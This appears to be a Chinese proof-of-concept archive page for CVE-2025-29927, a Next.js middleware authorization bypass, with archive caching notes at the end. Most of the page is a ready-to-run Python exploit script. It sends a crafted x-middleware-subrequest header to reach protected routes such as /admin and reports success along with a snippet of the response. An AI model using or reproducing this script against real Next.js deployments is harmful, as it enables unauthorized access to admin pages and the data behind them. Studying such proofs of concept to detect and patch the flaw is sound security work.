POC详情: 8339f1a67dc578df4a1e072e743cbee2ea93df1c

来源
关联漏洞
标题: Next.js 安全漏洞 (CVE-2025-29927)
描述:Next.js是Vercel开源的一个 React 框架。 Next.js 14.2.25之前版本和15.2.3之前版本存在安全漏洞,该漏洞源于如果授权检查发生在中间件中,可能绕过授权检查。
介绍
#!/usr/bin/env python3
import requests
import argparse
import sys

def exploit_nextjs(host, path="/admin", scheme="http",
                    header_value="middleware:middleware:middleware:middleware:middleware",
                    verbose=False):
    """
    Attempts to bypass Next.js middleware using the x-middleware-subrequest header.
    
    Parameters:
      - host: domain/host with port (e.g., localhost:3000)
      - path: protected route (default: /admin)
      - scheme: 'http' or 'https'
      - header_value: header value used to bypass the middleware
      - verbose: enables detailed debugging information
    """
    headers = {
        "x-middleware-subrequest": header_value,
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15"
    }
    url = f"{scheme}://{host}{path}"
    
    if verbose:
        print(f"[DEBUG] Target URL: {url}")
        print(f"[DEBUG] Headers used: {headers}")
    
    try:
        response = requests.get(url, headers=headers, timeout=10)
        if verbose:
            print(f"[DEBUG] Response status code: {response.status_code}")
            print(f"[DEBUG] Response headers: {response.headers}")
        if response.status_code == 200:
            print(f"[+] Exploit successful! Access to {url} granted")
            snippet = response.text[:500] if len(response.text) > 500 else response.text
            print(f"Response (snippet):\n{snippet}\n")
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
            if verbose:
                print(f"[DEBUG] Full response:\n{response.text}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Request error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Exploit for CVE-2025-29927 in Next.js (Controlled Environment)"
    )
    parser.add_argument("--host", required=True,
                        help="Vulnerable application host (e.g., localhost:3000)")
    parser.add_argument("--path", default="/admin",
                        help="Protected route path (default: /admin)")
    parser.add_argument("--scheme", choices=["http", "https"], default="http",
                        help="Protocol to use (http or https)")
    parser.add_argument("--header", default="middleware:middleware:middleware:middleware:middleware",
                        help="Value for the x-middleware-subrequest header")
    parser.add_argument("--verbose", action="store_true",
                        help="Display detailed debugging information")
    args = parser.parse_args()
    
    print("=== CVE-2025-29927 Exploit ===")
    print("Starting attack in a controlled environment...\n")
    exploit_nextjs(args.host, args.path, args.scheme, args.header, args.verbose)
文件快照

[4.0K] /data/pocs/8339f1a67dc578df4a1e072e743cbee2ea93df1c └── [2.8K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。